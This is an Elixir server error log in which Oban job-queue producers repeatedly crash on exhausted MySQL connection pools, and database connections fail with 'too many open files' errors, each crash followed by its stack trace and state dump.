State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:33:00.239796Z], limit: 10, uuid: "4f0d27b4-9686-40e1-ba97-0b49339bcfb6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:00.239801Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.43187>, refresh_timer: #Reference<0.2525715032.1068498948.64041>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:12.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:33:00.239773Z], limit: 5, uuid: "1b4c9b13-277b-4e9e-b140-1d35ad8d8f70", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:00.239779Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.43188>, refresh_timer: #Reference<0.2525715032.1099431938.63365>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:33:00.239318Z], limit: 3, uuid: "7259940c-61cb-47c2-8f65-145a8973b67c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:00.239325Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.199958>, refresh_timer: #Reference<0.2525715032.1099431938.63350>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:15.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:16.162000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:16.878000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:20.047000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:21.722000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:22.898000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:23.328000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:33:12.240105Z], limit: 5, uuid: "1e7d0e2d-638b-4f73-8d87-d98ab143b1f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:12.240110Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64205>, refresh_timer: #Reference<0.2525715032.1068498948.64157>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:33:12.239886Z], limit: 50, uuid: "453acae8-4382-4b48-8af6-67c48b6058bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:12.239892Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.200329>, refresh_timer: #Reference<0.2525715032.1099431938.63397>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:33:12.240128Z], limit: 20, uuid: "c249dc89-c6ee-4f36-8dc5-f0a4950ec1b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:12.240134Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64204>, refresh_timer: #Reference<0.2525715032.1068498948.64160>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:33:12.240063Z], limit: 10, uuid: "1459c86f-b446-4e4c-9e08-af7cda9e7943", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:12.240069Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.200330>, refresh_timer: #Reference<0.2525715032.1068498948.64153>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:33:12.241048Z], limit: 3, uuid: "31f3febe-2aba-4efd-9d6b-e2da396ea5a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:12.241053Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64206>, refresh_timer: #Reference<0.2525715032.1068498948.64191>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:33:12.240264Z], limit: 5, uuid: "36a454a2-bebd-4bce-9555-2d5b7b68bcae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:12.240268Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.200328>, refresh_timer: #Reference<0.2525715032.1099431938.63403>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:33:26.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:27.377000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:27.601000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:29.601000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:33.377000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:33:34.184000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
